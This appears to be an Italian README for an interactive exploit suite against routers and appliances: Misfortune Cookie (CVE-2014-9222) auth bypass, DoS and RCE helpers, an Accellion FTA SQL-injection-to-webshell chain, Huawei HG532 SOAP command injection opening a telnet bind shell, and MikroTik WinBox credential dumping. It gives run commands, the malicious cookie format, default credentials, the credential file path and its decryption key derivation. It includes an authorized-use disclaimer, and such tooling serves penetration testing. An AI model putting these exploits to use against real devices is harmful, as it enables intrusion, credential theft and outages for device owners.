
Suite PoC interattiva per CVE-2014-9222 (Misfortune Cookie) e relativi exploit per router, con moduli per rilevamento, bypass dell'autenticazione, DoS e RCE, oltre a una modalità di scansione per multiple vulnerabilità.
Stack overflow nella gestione dei cookie HTTP di AllegroSoft RomPager (tutte le versioni
< 4.34). Una singola richiesta non autenticata con un header Cookie: appositamente
costruito corrompe la memoria. Effetti: bypass dell'autenticazione admin, DoS/riavvio e
(con offset specifici del firmware) esecuzione remota di codice.
Da usare solo su hardware di tua proprietà o su cui sei esplicitamente autorizzato a testare.
python3 main.py # poi imposta un target con [1]
python3 main.py http://192.168.1.1
[1] Imposta / cambia target
[2] Rileva impronta del target
[3] Rileva vulnerabilità (sicuro, non distruttivo)
[4] Bypass dell'autenticazione (magic cookie)
[5] DoS / crash del dispositivo (DISTRUTTIVO)
[6] Helper RCE - deriva il cookie dagli indirizzi del firmware
[7] Ricerca tabella modelli / cookie
[8] Scansione per tutte le vulnerabilità (sonda)
[A] Catena Accellion FTA (CVE-2021-27101 / 27102)
[B] Huawei HG532 (CVE-2017-17215)
[C] MikroTik WinBox (CVE-2018-14847)
Ogni azione stampa prima cosa farà; il DoS richiede di digitare YES. L'impronta
per modello (realm) viene rilevata automaticamente dall'header WWW-Authenticate
e confrontata con la tabella dei cookie.
[8] sonda un host contro tutte e quattro le famiglie di vulnerabilità con
controlli non distruttivi e stampa quali sono raggiungibili/probabilmente vulnerabili:
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
Poi esegui la voce di menu corrispondente ([3]/[4]/[A]/[B]/[C]) per sfruttare
quella confermata.
Oltre a Misfortune Cookie, la console include PoC per altre tre vulnerabilità comuni di dispositivi embedded/appliance:
[A] Accellion FTA (accellion_fta.py) - riproduce la catena UNC2546
descritta da Mandiant: recupera il segreto w1 tramite SQL injection attraverso un
header Host appositamente costruito (/courier/oauth.api), poi attiva admin.pl per
scrivere una webshell eval e verificala. 27103 (SSRF) / 27104 (cmd exec post-auth)
sono annotate ma non esercitate di default.[B] Huawei HG532 (huawei_hg532.py) - POST SOAP a
/ctrlt/DeviceUpgrade_1 con $(<cmd>) in NewStatusURL, autenticazione HTTP Digest
dslf-config:admin; il comando predefinito apre una shell bind telnet sulla porta 9999.[C] MikroTik WinBox () - lettura file tramite directory-traversal
sul protocollo WinBox; di default legge e
decripta le credenziali memorizzate ( XOR).Tutti i PoC aggiuntivi richiedono conferma esplicita nella console.
python3 detect.py http://192.168.1.1 # controllo sicuro
python3 auth_bypass.py http://192.168.1.1 # modello rilevato automaticamente
python3 auth_bypass.py http://192.168.1.1 --restore # riattiva l'autenticazione
python3 auth_bypass.py http://192.168.1.1 --all # prova tutti i cookie noti
python3 auth_bypass.py http://192.168.1.1 --brute # esaustivo (MOLTO lento, crash)
python3 dos.py http://192.168.1.1 # crash / riavvio (DISTRUTTIVO)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # indirizzi -> (num, pad)
Cookie: C<evilnum>=<pad "B" bytes><payload>;
evilnum e pad sono specifici del firmware. evilnum indicizza l'array di cookie
da 0x28 byte di RomPager (C_Array + evilnum*0x28 + pad = indirizzo sovrascritto).
La tabella per modello, unita da exploitdb 39739 e dal modulo Metasploit
allegro_rompager_auth_bypass, si trova in common.py.
Serve un'immagine firmware esatta. Passaggi (vedi rce/README.md): estrai il rootfs
con binwalk, fai reverse engineering del parser dei cookie in Ghidra per trovare il
delta buffer -> $ra salvato, deriva (num, pad) con derive_cookie.py, valida lo
shellcode MIPS contro un'immagine emulata con QEMU prima di toccare il target live.
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
e auxiliary/admin/http/allegro_rompager_auth_bypass| Vulnerabilità | CVE | Cosa fa la sonda |
|---|
| RomPager | CVE-2014-9222 | Banner HTTP + versione vs 4.34 |
| Huawei HG532 | CVE-2017-17215 | Endpoint SOAP attivo + realm Digest |
| MikroTik WinBox | CVE-2018-14847 | lettura file WinBox live (credenziali estratte) |
| Accellion FTA | CVE-2021-27101/104 | impronta Accellion/oauth.api |
| Menu | CVE | Target | Porta |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
mikrotik_winbox.pyflash/rw/store/user.datmd5(user + "283i4jfkai3389")| file | scopo |
|---|
main.py | console interattiva |
ui.py | banner + helper UI (header/info/warn/err/success/prompt/confirm) |
common.py | rilevamento impronta, builder magic-cookie, tabella per modello (num, pad) |
detect.py | controllo vulnerabilità non distruttivo (versione + canary-cookie) |
scan.py | sonda un target contro tutte e quattro le famiglie di vulnerabilità (opzione 8) |
auth_bypass.py | bypass autenticazione magic-cookie con rilevamento automatico realm |
dos.py | stack smash con cookie sovradimensionato -> riavvio watchdog |
accellion_fta.py | CVE-2021-27101/27102 SQLi -> catena webshell |
huawei_hg532.py | CVE-2017-17215 iniezione comandi SOAP |
mikrotik_winbox.py | CVE-2018-14847 lettura file WinBox / dump credenziali |
rce/derive_cookie.py | trasforma C_Array + indirizzo target in (num, pad) |
rce/README.md | metodologia RCE completa + matematica dello sfruttamento |
rce/references/ | slide 31C3, whitepaper NCC, writeup demistificati, tabelle layout |